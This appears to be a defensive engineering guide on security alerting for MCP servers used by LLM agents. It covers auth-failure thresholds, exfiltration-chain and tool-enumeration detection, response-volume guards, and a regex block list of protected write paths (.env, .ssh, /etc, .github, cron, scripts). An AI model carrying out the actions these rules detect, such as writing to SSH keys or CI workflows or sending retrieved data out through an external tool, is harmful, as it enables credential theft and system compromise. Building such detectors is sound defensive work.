MCP Server Security Monitoring and Alerting: What to Alert On, Threshold Calibration, and How to Avoid Alert Fatigue

Auth failures are the most reliable security signal because they represent a hard system boundary being tested. Every failed auth check should emit a structured event with: caller identity (or the value that was presented as identity if verification failed), the tool being requested, the resource being accessed, the specific failure reason (expired, missing, invalid format, revoked), and the caller's session state (first failure or Nth in a window).

Alert thresholds:

• P0 (page immediately): 3 auth failures from the same caller within 30 seconds — this is credential stuffing or a replay attack
• P1 (alert within 5 minutes): Any IDOR attempt — a caller accessing a resource with a valid token but for a different caller's resource ID
• P2 (batch to daily digest): Isolated single auth failures — likely a misconfigured client, not an attack

// Structured auth failure event
log.security({
  event: 'auth_failure',
  reason: 'token_expired',           // expired | missing | invalid | revoked | idor
  callerId: hash(presentedCallerId), // hashed — never log raw bearer token
  toolRequested: 'read_file',
  resourceId: args.path,
  sessionFailureCount: session.authFailures,
  sessionAge: Date.now() - session.startedAt,
  ts: Date.now()
});

The IDOR case deserves special handling. When a caller presents a valid token but the resource ID belongs to a different caller, log the resource owner's hashed ID (not their raw identifier) alongside the caller's hashed ID. This creates a correlation path for incident investigation without logging PII in the alert.

This is the hardest category to calibrate because "anomalous" depends on what normal looks like for your server. But four pattern classes are reliable signals across most MCP servers:

Burst detection: More than N calls of the same tool within T seconds from the same caller. The challenge is that LLM agents legitimately generate bursts during planning loops. The key differentiator is whether the burst contains unique arguments or the same argument repeated. A planning loop calling list_directory 10 times with different paths is normal. The same call 10 times with the same path is a loop bug or a probe.

Cross-category chain detection: A retrieval tool followed immediately by an external-network tool is the canonical exfiltration chain signature. Detecting it requires tagging each tool with its effect class (retrieval / mutation / external) and maintaining a per-session call log. The chain [retrieval, retrieval, external] within a 30-second window should trigger a P1 alert unless the caller has explicitly scoped the allow:retrieval-to-external-chain permission.

Off-hours activity: If your users are internal and primarily work 9–5, a cluster of tool calls at 3 AM is suspicious. This is easy to alert on but requires knowing your traffic baseline. Do not enable this alert until you have two weeks of normal traffic data.

Tool enumeration: A caller that invokes every tool your server exposes exactly once, in quick succession, is probing your surface. This is a reconnaissance pattern. The signature: N distinct tools called within 60 seconds with minimal arguments — args that look like the minimum required to avoid a validation error rather than real use.

// Cross-category chain detection
function isExfiltrationPattern(callLog: ToolCall[]): boolean {
  const recent = callLog.filter(c => Date.now() - c.ts < 30_000);
  const hasRetrieval = recent.some(c => c.effectClass === 'retrieval');
  const hasExternal  = recent.some(c => c.effectClass === 'external');
  const hasMutation  = recent.some(c => c.effectClass === 'mutation');
  // retrieval + external with no mutation = potential exfiltration
  return hasRetrieval && hasExternal && !hasMutation;
}

// Run after each tool call that completes successfully
if (isExfiltrationPattern(session.callLog)) {
  log.security({
    event: 'chain_guard_alert',
    pattern: 'retrieval_to_external',
    callSequence: session.callLog.slice(-10).map(c => c.tool),
    ts: Date.now()
  });
}

Tool call count alone doesn't capture exfiltration risk — a server that returns 1 KB per call is different from one that streams multi-MB files. Volume-based alerts add a second axis that catches exfiltration attempts that stay under call-count thresholds by requesting large payloads instead of many calls.

Track three volume metrics per session:

• Cumulative response bytes: Total bytes returned to the caller across all tool calls in the session. Alert if this exceeds your 99th-percentile session byte volume (establish this from baseline traffic — for most MCP servers serving LLM agents, it will be 1–10 MB per session).
• Single-call response size: If one tool call returns more than your configured ceiling (e.g., 5 MB), alert regardless of session total. A single read_file call that returns 5 MB of data is almost certainly reading the wrong file or responding to an oversized argument.
• External call byte volume: Total bytes sent in outbound requests from tools that make external network calls. A small inbound query producing a large outbound payload is a classic exfiltration indicator.

class SessionVolumeGuard {
  private inboundBytes = 0;
  private outboundBytes = 0;
  private readonly INBOUND_CEILING = 10 * 1024 * 1024;  // 10 MB
  private readonly OUTBOUND_CEILING = 1 * 1024 * 1024;  // 1 MB

  recordResponse(toolName: string, responseBytes: number) {
    this.inboundBytes += responseBytes;
    if (responseBytes > 5 * 1024 * 1024) {
      log.security({ event: 'large_single_response', tool: toolName, bytes: responseBytes, ts: Date.now() });
    }
    if (this.inboundBytes > this.INBOUND_CEILING) {
      log.security({ event: 'session_volume_ceiling', totalBytes: this.inboundBytes, ts: Date.now() });
    }
  }

  recordOutbound(toolName: string, bodyBytes: number) {
    this.outboundBytes += bodyBytes;
    if (this.outboundBytes > this.OUTBOUND_CEILING) {
      log.security({ event: 'outbound_volume_ceiling', tool: toolName, totalBytes: this.outboundBytes, ts: Date.now() });
    }
  }
}

Volume alerts have a high false-positive rate in servers that legitimately process large files. Before enabling the session ceiling alert, collect a week of production response-size data and set the threshold at the 99th percentile plus 50% headroom. This approach catches true anomalies while suppressing the daily heavy-user traffic that will otherwise dominate your alert queue.

If your MCP server exposes any write tools — filesystem, database, message queue — those write operations are the highest-risk surface in your server. Most write tools legitimately write to application data paths. The sensitive cases are writes to infrastructure-level paths that the tool wasn't designed to touch.

Define a set of protected path patterns per tool. Any write to a protected pattern should emit a P1 alert and be blocked before the write completes:

const PROTECTED_PATH_PATTERNS = [
  /\.env/,           // environment files
  /\.git\//,         // git internals
  /\.ssh\//,         // SSH keys
  /\/etc\//,         // system config
  /\.github\//,      // CI/CD workflows
  /cron/i,           // cron job files
  /\.(sh|bash|zsh|py|rb)$/, // executable scripts
  /node_modules\//,  // dependency tree
];

function isProtectedPath(path: string): boolean {
  return PROTECTED_PATH_PATTERNS.some(p => p.test(path));
}

// In write_file handler — check before any write
if (isProtectedPath(args.path)) {
  log.security({
    event: 'write_to_protected_path',
    path: args.path,              // log the path — not the content
    callerId: session.callerId,
    ts: Date.now()
  });
  throw new ToolError('FORBIDDEN', 'Write target is not allowed');
}

The block-before-write pattern matters here. Log the attempt and throw before touching the filesystem. An alert that fires after the write has succeeded is observability, not security.

A second class of tampering signal applies if your server exposes any tool that modifies its own configuration — changing rate limits, updating allowed scopes, adjusting feature flags. These operations should always require a second authentication factor beyond the standard session token (a separate admin token or an explicit confirmation parameter) and always emit a P1 alert.